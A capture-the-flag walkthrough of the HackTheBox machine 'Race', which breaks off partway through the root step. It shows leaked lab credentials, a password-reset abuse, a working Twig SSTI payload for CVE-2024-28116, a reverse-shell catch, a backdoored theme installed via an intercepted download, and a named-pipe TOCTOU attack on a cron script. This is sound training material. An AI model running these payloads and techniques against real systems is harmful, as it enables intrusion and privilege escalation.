Race

Race starts with a website on Grav CMS, and a phpSysInfo page. I’ll find creds in the process list on phpSysInfo to get into the Grav admin panel as the limited backup user. I’ll create a backup, and use the results to reset the password of another admin. From this admin, I’ll show two ways to get execution, using CVE-2024-28116 and a malicious theme. From there I’ll pivot to the next user with a password from a shell script. For root, I’ll abuse a time-of-check / time-of-use vulnerability in a cron script, using named pipes to hang execution allowing me to switch files.

Box Info

Name Race Race
Play on HackTheBox
Release Date 02 Sep 2025
Retire Date 02 Sep 2025
OS Linux Linux
Base Points Hard [40]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creator jkr

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.211
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-28 15:54 UTC
...[snip]...
Nmap scan report for 10.129.234.211
Host is up, received echo-reply ttl 63 (0.095s latency).
Scanned at 2025-08-28 15:54:26 UTC for 6s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.98 seconds
           Raw packets sent: 66231 (2.914MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.129.234.211
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-28 15:54 UTC
Nmap scan report for 10.129.234.211
Host is up (0.094s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:b0:1e:c5:e8:81:5c:94:39:ed:37:7e:21:cf:b1:a8 (ECDSA)
|_  256 37:a3:d3:cd:35:dc:cc:d8:db:3c:c3:4d:ad:22:29:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.13 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy (or maybe 22.10 kinetic).

All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Website - TCP 80

Site

The site is for a racing technology company:

image-20250828115833683 expand

The page does have an email address, fast@race.vl.

Tech Stack

On visiting /, it returns a 200 page that just uses JavaScript to redirect to /racers/, which is the page above. That response sets a cookie:

HTTP/1.1 200 OK
Date: Thu, 28 Aug 2025 16:08:40 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: grav-site-09f1269=ofdbsclh7rv88d5sj0n4o9ee08; expires=Thu, 28-Aug-2025 16:38:41 GMT; Max-Age=1800; path=/racers/; domain=10.129.234.211; HttpOnly; SameSite=Lax
Expires: Thu, 04 Sep 2025 16:08:41 GMT
Cache-Control: max-age=604800
Pragma: no-cache
ETag: "210b4f8a077ef99d667a2eeb572812ca"
Content-Length: 11411
Connection: close
Content-Type: text/html;charset=UTF-8

The server is running Apache, and the cookie suggests Grav, an open-source PHP based CMS.

The page footer also shows this:

image-20250828120116362

The 404 page is the default Apache 404:

image-20250828120137276

Directory Brute Force

I can try feroxbuster with -x php, but it will find /racers/ and then a ton of stuff in there, most of which I can find by looking at the Grav source.

I am curious to know if there’s anything else in /, so I’ll run with -n to not recurse:

oxdf@hacky$ feroxbuster -u http://10.129.234.211 -x php -n
                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.234.211
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        8l       16w      163c http://10.129.234.211/
401      GET       14l       54w      461c http://10.129.234.211/phpsysinfo
[####################] - 2m     30001/30001   0s      found:2       errors:0
[####################] - 2m     30000/30000   254/s   http://10.129.234.211/  

/phpsysinfo is return 401 because it requires HTTP basic auth.

Shell as www-data

phpSysInfo

I’ll guess admin / admin, and it works. There’s an instance of phpSysInfo:

image-20250828122926726 expand

This is a host system information display. It includes a process list,and looking at the tree under cron, there’s a backup job with a password:

image-20250828123050750

The password does not work for SSH:

oxdf@hacky$ netexec ssh 10.129.234.211 -u backup -p Wedobackupswithsecur3password5.Noonecanhackus!
SSH         10.129.234.211  22     10.129.234.211   [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.129.234.211  22     10.129.234.211   [-] backup:Wedobackupswithsecur3password5.Noonecanhackus!
oxdf@hacky$ netexec ssh 10.129.234.211 -u root -p Wedobackupswithsecur3password5.Noonecanhackus!
SSH         10.129.234.211  22     10.129.234.211   [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.129.234.211  22     10.129.234.211   [-] root:Wedobackupswithsecur3password5.Noonecanhackus!
oxdf@hacky$ netexec ssh 10.129.234.211 -u admin -p Wedobackupswithsecur3password5.Noonecanhackus!
SSH         10.129.234.211  22     10.129.234.211   [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.129.234.211  22     10.129.234.211   [-] admin:Wedobackupswithsecur3password5.Noonecanhackus!

Admin Access as patrick

Grav Admin as backup

The Grav admin panel is at /racers/admin, which I can find in the docs or with bruteforce like feroxbuster. It presents a login form:

image-20250828124423433

There’s a note about the length of the password having to be at least 32 characters, and it just so happens that the password from the cron is that long. It works with the backup user:

image-20250828124557671

The backup user doesn’t have access to much. The Dashboard is empty. Tools presents a backup utility:

image-20250828124821357

The banner says no backup has been generated. The configured profile will backup the entire site, minus some directories and files:

image-20250828125513940

I’ll click “Backup Now” and it spins for a second before offering a download:

image-20250828125533456

Backup

The unzipped backup file looks like the CMS file system:

oxdf@hacky$ ls
assets  cache               composer.json    images       logs       robots.txt   tmp     webserver-configs
backup  CHANGELOG.md        composer.lock    index.php    now.json   SECURITY.md  user
bin     CODE_OF_CONDUCT.md  CONTRIBUTING.md  LICENSE.txt  README.md  system       vendor

A lot of the files and folders match what is in the Grav Github:

image-20250829065722843

The Grav version is 1.7.43:

oxdf@hacky$ cat system/defines.php  | grep GRAV_VERSION
define('GRAV_VERSION', '1.7.43');

Grav stores data in files. The user information is in user/accounts:

oxdf@hacky$ ls user/accounts/
admin.yaml  backup.yaml  patrick.yaml

Each user has configuration information and a hashed password:

state: enabled
email: admin@race.vl
fullname: 'Admin I. Strator'
title: Administrator
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: $2y$10$/e6nnqGJ6un4X6wKPpyeNecHf8wyZ.G//0Q7XhLLuQ15v7sEzKVzS

There’s not much sense in trying to crack the passwords as I’ve already seen the policy requires 32 characters. The backup account has the admin access set to login and maintenance, which is why it can do so few things:

state: enabled
email: backup@race.vl
fullname: 'Ba C. Kup'
language: en
content_editor: default
twofa_enabled: false
twofa_secret: SMIJEB7XFJ7AEO6RPCKDWXUZ2MW4MOY4
avatar: {  }
hashed_password: $2y$10$drGaFWuga2r3uPcQXqSEueEEru4hlWvYu.BixWiisEHdgFNi.BwYK
access:
  admin:
    login: true
    maintenance: true

patrick has more access than backup, but less than admin:

state: enabled
email: patrick@race.vl
fullname: 'Patrick P. Rick'
language: en
content_editor: default
twofa_enabled: false
twofa_secret: LW35AG7V4U4NLOBVU5P6NG35GP5YWJKT
avatar: {  }
hashed_password: $2y$10$TWyPZQDqMZJJ/0pLdWUbY.TxVKVMHP3LzfUTo3BYWFRID7uXaoXcC
reset: '553e7719d2674ae2bfb29eb0aaa806d0::1701718773'
access:
  site:
    login: true
  admin:
    login: true
    super: false
    cache: false
    configuration:
      system: true
      site: true
      media: false
      security: false
      info: false
      pages: false
      users: false
    pages: true
    maintenance: true
    themes: true

There’s also a reset value.

Password Reset Flow

When I click the “forgot” button on the login page it leads to /racers/admin/forgot. Searching for that in the code shows a few places:

oxdf@hacky$ grep -r '/forgot'
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php:            return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php:                    return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php:        return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php:            return $this->createRedirectResponse('/forgot');
user/plugins/admin/themes/grav/templates/partials/login-form.html.twig:        <a class="button secondary" href="{{ admin_route('/forgot') }}"><i class="fa fa-exclamation-circle"></i> {{ 'PLUGIN_ADMIN.LOGIN_BTN_FORGOT'|t }}</a>
user/plugins/login/README.md:route_forgot: '/forgot_password'            # Route for the forgot password process
user/plugins/login/blueprints.yaml:              placeholder: "/forgot_password"
user/plugins/login/templates/forgot.html.twig:    {% include 'partials/forgot-form.html.twig' %}
user/plugins/login/login.yaml:route_forgot: '/forgot_password'            # Route for the forgot password process
user/plugins/login/login.php:            $this->login->getRoute('forgot') ?: '/forgot_password',

LoginController.php is most interesting. I’ll check out the functions:

oxdf@hacky$ grep 'function' user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php
    public function displayLogin(): ResponseInterface
    public function displayForgot(): ResponseInterface
    public function displayReset(string $username = null, string $token = null): ResponseInterface
    public function displayRegister(): ResponseInterface
    public function displayUnauthorized(): ResponseInterface
    public function taskLogin(): ResponseInterface
    public function taskLogout(): ResponseInterface
    public function taskTwofa(): ResponseInterface
    public function taskReset(string $username = null, string $token = null): ResponseInterface
    public function taskForgot(): ResponseInterface
    public function taskRegister(): ResponseInterface
    protected function is2FA(UserInterface $user): bool
    protected function getFormSubmitMethod(string $name): callable
                return static function(array $data, array $files) {};
                return function(array $data, array $files) {
    private function doRegistration(array $data, array $files): void
    private function getLogin(): Login
    private function getEmail(): Email
    private function getAccounts(): UserCollectionInterface

taskReset seems like it might be what takes the reset string and compares it to what’s in the YAML file. It does some initialization, and then checks if the user passed into it exists, and if that user’s reset value is not null:

    /**
     * Handle the reset password action.
     *
     * @param string|null $username
     * @param string|null $token
     * @return ResponseInterface
     */
    public function taskReset(string $username = null, string $token = null): ResponseInterface
    {
...[snip]...
        $users = $this->getAccounts();

        $username = $username ?? $data['username'] ?? null;
        $token = $token ?? $data['token'] ?? null;

        $user = $username ? $users->load($username) : null;
        $password = $data['password'];

        if ($user && $user->exists() && !empty($user->get('reset'))) {
...[snip]...

If there is a token, it breaks it on “::”, saving the first part as the token and the second as the expiration time. If the submitted token matches the loaded token and the expiration date isn’t past, then it resets the password:

...[snip]...
            [$good_token, $expire] = explode('::', $user->get('reset'));

            if ($good_token === $token) {
                if (time() > $expire) {
                    $this->setMessage($this->translate('PLUGIN_ADMIN.RESET_LINK_EXPIRED'), 'error');

                    $this->form->reset();

                    return $this->createRedirectResponse('/forgot');
                }

                // Set new password.
                $login = $this->getLogin();
                try {
                    $login->validateField('password1', $password);
                } catch (\RuntimeException $e) {
                    $this->setMessage($this->translate($e->getMessage()), 'error');

                    return $this->createRedirectResponse("/reset/u/{$username}/{$token}");
                }

                $user->undef('hashed_password');
                $user->undef('reset');
                $user->update(['password' => $password]);
                $user->save();

                $this->form->reset();

                $this->setMessage($this->translate('PLUGIN_ADMIN.RESET_PASSWORD_RESET'));

                return $this->createRedirectResponse('/login');
            }

            Admin::DEBUG && Admin::addDebugMessage(sprintf('Failed to reset password: Token %s is not good', $token));
        } else {
            Admin::DEBUG && Admin::addDebugMessage(sprintf('Failed to reset password: User %s does not exist or has not requested reset', $username));
        }

        $this->setMessage($this->translate('PLUGIN_ADMIN.RESET_INVALID_LINK'), 'error');

        $this->form->reset();

        return $this->createRedirectResponse('/forgot');
    }    

This code is handling the submission of the token. In the same file, I’ll find the taskForgot function, which handles sending the email with the token to the user:

    /**
     * Handle the email password recovery procedure.
     *
     * Sends email to the user.
     *
     * @return ResponseInterface
     */
    public function taskForgot(): ResponseInterface
    {
            /**
     * Handle the email password recovery procedure.
     *
     * Sends email to the user.
     *
     * @return ResponseInterface
     */
    public function taskForgot(): ResponseInterface
    {
...[snip]...

The token is a random MD5, and the time is one hour from when it’s created:

        $token  = md5(uniqid(mt_rand(), true));
        $expire = time() + 3600; // 1 hour

Later it creates the $reset_link:

        // Do not trust username from the request.
        $fullname = $user->fullname ?: $username;
        $author = $config->get('site.author.name', '');
        $sitename = $config->get('site.title', 'Website');
        $reset_link = $this->getAbsoluteAdminUrl("/reset/u/{$username}/{$token}");

Reset Password

The timestamp in my backup is from 2023, which is clearly expired. I’ll request a reset as patrick using the site (it will say the email failed to send, but that’s fine), and then download another backup. I can extract just the patrick.yaml file, and the code is different from before:

oxdf@hacky$ unzip default_site_backup--20250829115451.zip user/accounts/patrick.yaml
Archive:  default_site_backup--20250829115451.zip
  inflating: user/accounts/patrick.yaml  
oxdf@hacky$ cat user/accounts/patrick.yaml | grep reset
reset: '99dbabf226ea708a92257e429fa9caa4::1756472069'

The URL from this should be /racers/admin/reset/u/patrick/99dbabf226ea708a92257e429fa9caa4:

image-20250829072917741

Finding a valid password is a pain, so I’ll just use the same as backup, and it works:

image-20250829073951800

I can log in as patrick and there’s a lot more options in the admin menubar:

image-20250829074019764

Multiple Paths

On originally solving the box, I used CVE-2024-28116. Only after rooting did I learn that that CVE came out after the box was released on VulnLab. There’s another neat path involving themes and proxying.

flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] --->|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] --->|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Admin access\nas patrick]-->B(<a href='#cve-2024-28116'>CVE-2024-28116</a>);
    B-->C[Shell as www-data];
    A-->D(<a href='#malicious-theme'>Proxy + malicious\ntheme</a>);
    D-->C;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;

CVE-2024-28116

Identify

Searching for Grav CVEs I’ll find three main potential candidates:

  • CVE-2021-29440 - SSTI - This is too old, and patched in 1.7.11, well before 1.7.43.
  • CVE-2024-28116 - SSTI leading to RCE in versions up to 1.7.45.
  • CVE-2025-50286 - This doesn’t have a version range, likely because it’s not a vulnerability, and shouldn’t be a CVE (IMHO). This has to do with the ability to upload a malicious plugin and get RCE. For Race, neither backup nor patrick have access to this.

Background

The Twig template engine is a PHP engine for build HTML and other documents from PHP. By design, it has a sandbox to prevent things like code execution. The CVE description says:

Grav is an open-source, flat-file content management system. Grav CMS prior to version 1.7.45 is vulnerable to a Server-Side Template Injection (SSTI), which allows any authenticated user (editor permissions are sufficient) to execute arbitrary code on the remote server bypassing the existing security sandbox. Version 1.7.45 contains a patch for this issue.

The security advisory shows a POC:

{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}

It is overwriting the twig.safe_function array to include system and then running it.

Shell

I’ll go to the Pages section and create a new page, setting the content to the POC:

image-20250829153349677

On loading /racers/0xdf, there’s a bunch on the screen, but at the bottom is the output of id:

image-20250829153502849

I’ll update the page to a bash reverse shell:

image-20250829153554515

On refreshing /racers/0xdf, there’s a connection at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.211 40736
bash: cannot set terminal process group (1139): Inappropriate ioctl for device
bash: no job control in this shell
www-data@race:/var/www/html/racers$ 

I’ll upgrade my shell:

www-data@race:/var/www/html/racers$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@race:/var/www/html/racers$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@race:/var/www/html/racers$

Malicious Theme

Theme Connectivity

If I go to the Themes item in the menu bar, it shows the theme, and there’s an “+ Add” button at the top right:

image-20250829180129226

If I click on it, it fails to show any because there’s no outbound connectivity from the VM to the internet:

image-20250829180329446

Under Configuration –> Advanced, there’s the option to set a proxy. I’ll fill in my IP to point at my instance of Burp Proxy:

image-20250829180540784

I’ve also turned off the verify options. Burp serves two purposes here. First, it will allow the site to make requests that can get out to the internet, as while the box can’t talk to the internet, my host can. Second, it will allow me to modify those requests, even if they are to HTTPS sites.

I’ll make sure my Burp is set to listen on all interfaces (under Proxy –> Proxy settings –> Tools –> Proxy –> Proxy listeners), and then go back to add a them, and there are a bunch there:

image-20250829180735129

Installation Flow

I’ll turn on interception in Burp, and click “+ Install” on one of the themes. The page hangs:

image-20250829180828950

The first request goes to the local site:

POST /racers/admin/themes.json/task:getPackagesDependencies HTTP/1.1
Host: 10.129.234.211
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.129.234.211/racers/admin/themes/install
Content-Type: multipart/form-data; boundary=----geckoformboundary8ad97f0c75c6d7528456f2976ec9b91
Content-Length: 317
Origin: http://10.129.234.211
Sec-GPC: 1
Connection: keep-alive
Cookie: grav-site-09f1269=p61ccje8rr2tg6klq1ub8frmb6; grav-site-09f1269-admin=mt0tr2utlbu65k0denlb5cf7kt; grav-tabs-state={%22tab--f0e041eed24f87f2b6b02fd6924d0a08%22:%22data.advanced%22}
Priority: u=0

------geckoformboundary8ad97f0c75c6d7528456f2976ec9b91
Content-Disposition: form-data; name="admin-nonce"

733efa32bd79767a5b0669c3e874459f
------geckoformboundary8ad97f0c75c6d7528456f2976ec9b91
Content-Disposition: form-data; name="packages"

aerial
------geckoformboundary8ad97f0c75c6d7528456f2976ec9b91--

I’ll forward that, and it says it’s ready to install:

image-20250829181002719

On clicking continue, two more local requests, before this one:

GET /download/themes/aerial/2.0.4 HTTP/2
Host: getgrav.org
Referer: http://10.129.234.211/racers
User-Agent: Grav CMS
Accept: */*
Accept-Encoding: gzip, deflate, br

I’ll tell Burp to intercept the response, and it is a 302 redirect to another page on GitHub:

HTTP/2 302 Found
Date: Fri, 29 Aug 2025 22:11:23 GMT
Content-Type: text/html; charset=UTF-8
Location: https://github.com/Sommerregen/grav-theme-aerial/zipball/v2.0.4
Server: cloudflare
Cf-Ray: 976f62457dc4c587-IAD
Cf-Cache-Status: DYNAMIC
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: grav-site-e7f5c13=q6mjb0n8hptdbdcpib43a295f7; expires=Fri, 29-Aug-2025 22:41:23 GMT; Max-Age=1800; path=/; domain=getgrav.org; secure; HttpOnly; SameSite=Lax
Strict-Transport-Security: max-age=2592000
Vary: Accept-Encoding
Pragma: no-cache
Content-Security-Policy: upgrade-insecure-requests
Permissions-Policy: camera=(), geolocation=()
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KdHrB%2FaLSeRp1lCIIZI0P6xD9govMsi9bdKPXshVuFsHdXD8ghJ9B5lvbnF17kY4UiqaxBNl2mEcesb6MmQTMdsnGdhohCD8aGv5cd9RMJPXKF7Et21zdj1Wpy8m"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server-Timing: cfL4;desc="?proto=TCP&rtt=8520&min_rtt=8387&rtt_var=2514&sent=9&recv=12&lost=0&retrans=0&sent_bytes=3697&recv_bytes=1241&delivery_rate=517944&cwnd=246&unsent_bytes=0&cid=28e1633b9c1d3af1&ts=134&x=0"

This time I’ll just pass it through, and the website shows the details of the theme, and I’ll click “+ Install Theme”:

image-20250829181911819

I’ll click “+ Install Theme” and let a bunch more local request through again until it makes the same GET request to https://getgrav.org/download/themes/aerial/2.0.4. This time in the response I’ll update the Location header to my host:

image-20250829181812018

On letting that through, there’s a request to my server:

10.129.234.211 - - [29/Aug/2025 22:33:23] code 404, message File not found
10.129.234.211 - - [29/Aug/2025 22:33:23] "GET /Sommerregen/grav-theme-aerial/zipball/v2.0.4 HTTP/1.1" 404 -

I’ve effectively captured the install location.

Malicious Plugin

I’ll grab a copy of a real theme to my host:

oxdf@hacky$ git clone https://github.com/Sommerregen/grav-theme-aerial.git                           
Cloning into 'grav-theme-aerial'...
remote: Enumerating objects: 75, done.
remote: Total 75 (delta 0), reused 0 (delta 0), pack-reused 75 (from 1)
Receiving objects: 100% (75/75), 872.40 KiB | 6.66 MiB/s, done.    
Resolving deltas: 100% (19/19), done.       

I’ll open and add a simple backdoor to the top:

image-20250829183427309

Now I’ll zip it up:

oxdf@hacky$ zip -r badaerial.zip grav-theme-aerial/
...[snip]...

RCE

I’ll repeat the installation steps, this time where it actually gets the zip. The resulting page is:

image-20250829184045481

I’ll click “Active Aerial”, and it loads:

image-20250829184132989

If I add ?cmd=id to the URL, the output is there:

image-20250829184211250

It’s right at the top of the source:

image-20250829184232394

I can add a reverse shell there and get a shell as www-data.

Shell as max

Enumeration

There are two user account with home directories in /home:

www-data@race:/home$ ls
max  patrick

This matches the users with shells configured:

www-data@race:/$ cat etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
patrick:x:1000:1000:Patrick:/home/patrick:/bin/bash
max:x:1001:1001::/home/max:/bin/bash

Both home directories are world readable. patrick is basically empty. max has user.txt as well as a link to race-scripts:

www-data@race:/home/max$ ls -la
total 36
drwxr-xr-x 5 max  max  4096 Dec  9  2023 .
drwxr-xr-x 4 root root 4096 Dec  3  2023 ..
lrwxrwxrwx 1 root root    9 Dec  3  2023 .bash_history -> /dev/null
-rw-r--r-- 1 max  max   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 max  max  3771 Jan  6  2022 .bashrc
drwx------ 2 max  max  4096 Dec  3  2023 .cache
drwxrwxr-x 3 max  max  4096 Dec  9  2023 .local
-rw-r--r-- 1 max  max   807 Jan  6  2022 .profile
drwxrwxr-x 2 max  max  4096 Dec  4  2023 bin
lrwxrwxrwx 1 max  max    29 Dec  9  2023 race-scripts -> /usr/local/share/race-scripts
-rw-r----- 1 root max    33 Apr 16 04:17 user.txt

The race-scripts directory has another backup plan:

www-data@race:/usr/local/share/race-scripts$ ls
backup  offsite-backup.sh

There are two scripts, but both are the exact same, other than owner:

www-data@race:/usr/local/share/race-scripts$ find . -type f -ls
   269766      4 -rwxr-xr-x   1 root     racers        361 Dec  9  2023 ./backup/offsite-backup.sh
   272728      4 -rwxr-xr-x   1 root     root          361 Dec  5  2023 ./offsite-backup.sh
www-data@race:/usr/local/share/race-scripts$ md5sum offsite-backup.sh backup/offsite-backup.sh 
d15804b944b40ca8540d37ed6bd80906  offsite-backup.sh
d15804b944b40ca8540d37ed6bd80906  backup/offsite-backup.sh

The script has a new subdomain, as well as old creds for max:

#!/usr/bin/bash

OFFSITE_HOST="offsite-backup.race.vl"
SOURCE_DIR="/var/www/html/racers/backup/"
# Disabled USER/PASS for security reasons. Will be provided via environment from cron.
# OFFSITE_USER="max"
# OFFSITE_PASS="ruxai0GaemaS1Rah"
/usr/bin/curl --insecure --connect-timeout 60 -u $OFFSITE_USER:$OFFSITE_PASS -T $SOURCE_DIR sftp://$OFFSITE_HOST/backups/

Creds

The creds work for max with su:

www-data@race:/usr/local/share/race-scripts$ su - max
Password: 
max@race:~$

They also work over SSH:

oxdf@hacky$ sshpass -p ruxai0GaemaS1Rah ssh max@10.129.234.211
Warning: Permanently added '10.129.234.211' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
...[snip]...
max@race:~$ 

And I’ll grab user.txt:

max@race:~$ cat user.txt
80b27c66************************

Shell as root

Enumeration

I’ve already explored both home directories. max is in the racers group:

max@race:~$ id
uid=1001(max) gid=1001(max) groups=1001(max),1002(racers)

The only files / directories in this group are the race-script directory I found earlier:

max@race:~$ find / -group racers 2>/dev/null
/usr/local/share/race-scripts
/usr/local/share/race-scripts/backup
/usr/local/share/race-scripts/backup/offsite-backup.sh

Looking at running processes, nothing jumps out. I’ll upload pspy using scp:

oxdf@hacky$ sshpass -p ruxai0GaemaS1Rah scp /opt/pspy/pspy64 max@10.129.234.211:/dev/shm/pspy64

I’ll run it and wait a few minutes:

max@race:~$ /dev/shm/pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...

Every minute, it runs offsite-backup.sh from cron via secure-cron-runner.sh:

2025/08/29 20:26:01 CMD: UID=0     PID=15850  | /usr/sbin/CRON -f -P 
2025/08/29 20:26:01 CMD: UID=0     PID=15853  | /usr/bin/bash /usr/local/bin/secure-cron-runner.sh 
2025/08/29 20:26:01 CMD: UID=0     PID=15851  | /bin/sh -c /usr/local/bin/secure-cron-runner.sh >/dev/null 2>/dev/null 
2025/08/29 20:26:01 CMD: UID=0     PID=15857  | /usr/bin/bash /usr/local/share/race-scripts/offsite-backup.sh 

secure-cron-runner.sh is pretty straight forward:

#!/usr/bin/bash

## If scripts need environment variables put them into below file
## so that no one can see them.
. /root/conf/secure-cron-runner.env

declare -a scripts
declare -a sigs

## 0 = offsite-backup by max
scripts[0]="/usr/local/share/race-scripts/offsite-backup.sh"
sigs[0]="d15804b944b40ca8540d37ed6bd80906"
## add other scripts below
# scripts[1]="<path-to-script>"
# sigs[1]="<md5sum>"
# scripts[2]="<path-to-script>"
# sigs[2]="<md5sum>"

elems=${#scripts[@]}

for (( j=0; j<${elems}; j++ )) ; do
  sig=$(/usr/bin/md5sum ${scripts[$j]} | awk '{print $1}')
  if [[ "x$sig" == "x${sigs[$j]}" ]] ; then
    # echo "Script is safe. Running it." >> /var/log/secure-cron-runner.log
    ${scripts[$j]}
  else
    # echo "Script is not safe. Skipping it. Please contact patrick to update signature." >> /var/log/secure-cron-runner.log
    :
  fi
done

It hardcodes MD5 hashes of scripts which is checks right before running them. If it doesn’t match, it doesn’t run, and instead logs the error.

TOCTOU

Strategy

There’s a tiny gap between when the hash is calculated and when the script is run. max has ownership over this directory and the scripts in it, so I can change the contents. That leaves a gap for me to change the contents of the script to run what I want. This is a time of check / time of use (TOCTOU) vulnerability.

The initial script is owned by root:root, and I can’t write to it, so I’ll just delete it:

max@race:/usr/local/share/race-scripts$ ls -l
total 8
drwxr-sr-x 2 root racers 4096 Dec  9  2023 backup
-rwxr-xr-x 1 root root    361 Dec  5  2023 offsite-backup.sh
max@race:/usr/local/share/race-scripts$ rm offsite-backup.sh 
rm: remove write-protected regular file 'offsite-backup.sh'? y
max@race:/usr/local/share/race-scripts$ ls
backup

I initially played with a loop trying to constantly change the script back and forth, but this isn’t very reliable. I did make a loop and leave it running and after about 15 minutes got a reverse shell, but there’s a better way. I’ll use a named pipe to block execution of the md5sum command until I can replace the file and then let it continue.

Named Pipe Demo

If I create a pipe and then try to get the md5sum of it, it will hang until there’s something in the pipe:

max@race:/usr/local/share/race-scripts$ mkfifo x
max@race:/usr/local/share/race-scripts$ md5sum x

In another terminal, I’ll write something:

max@race:/usr/local/share/race-scripts$ echo "test" > x

As soon as I do, it completes:

max@race:/usr/local/share/race-scripts$ md5sum x
d8e8fca2dc0f896fd7cb4cb0031ba249  x

And the output matches the input to the pipe:

max@race:/usr/local/share/race-scripts$ echo "test" | md5sum
d8e8fca2dc0f896fd7cb4cb0031ba249  -

I’ll try this again with another pipe:

max@race:/usr/local/share/race-scripts$ mkfifo y
max@race:/usr/local/share/race-scripts$ md5sum y

It hangs. In the other terminal, I’ll move y to z, and then write to it:

max@race:/usr/local/share/race-scripts$ mv y z
max@race:/usr/local/share/race-scripts$ echo "test" > z

As soon as I write to z, the md5sum returns:

max@race:/usr/local/share/race-scripts$ md5sum y
d8e8fca2dc0f896fd7cb4cb0031ba249  y

This is because once the system gets a handle to the object, even if the file name changes, it’s still reading from that object.

So to attack this, I’m going to create the script as a pipe and wait for md5sum to try to read from it and hang. Then I’ll move the script to something else, and put my malicious script in place. Then I’ll write the legit script into the pipe so the MD5 hash comes back right, and then my script is run.

Exploit

I’ll start by making a pipe with the script name:

max@race:/usr/local/share/race-scripts$ mkfifo offsite-backup.sh

I’ll wait until the next minute, and then check the process list:

max@race:/usr/local/share/race-scripts$ ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND   
...[snip]...
root      270112  0.0  0.0   7372  1592 ?        S    20:48   0:00 /usr/bin/bash /usr/local/bin/secure-cron-runner.sh
root      270113  0.0  0.0   5784  1040 ?        S    20:48   0:00 /usr/bin/md5sum /usr/local/share/race-scripts/offsite-backup.sh
...[snip]...

Now I’ll move the pipe:

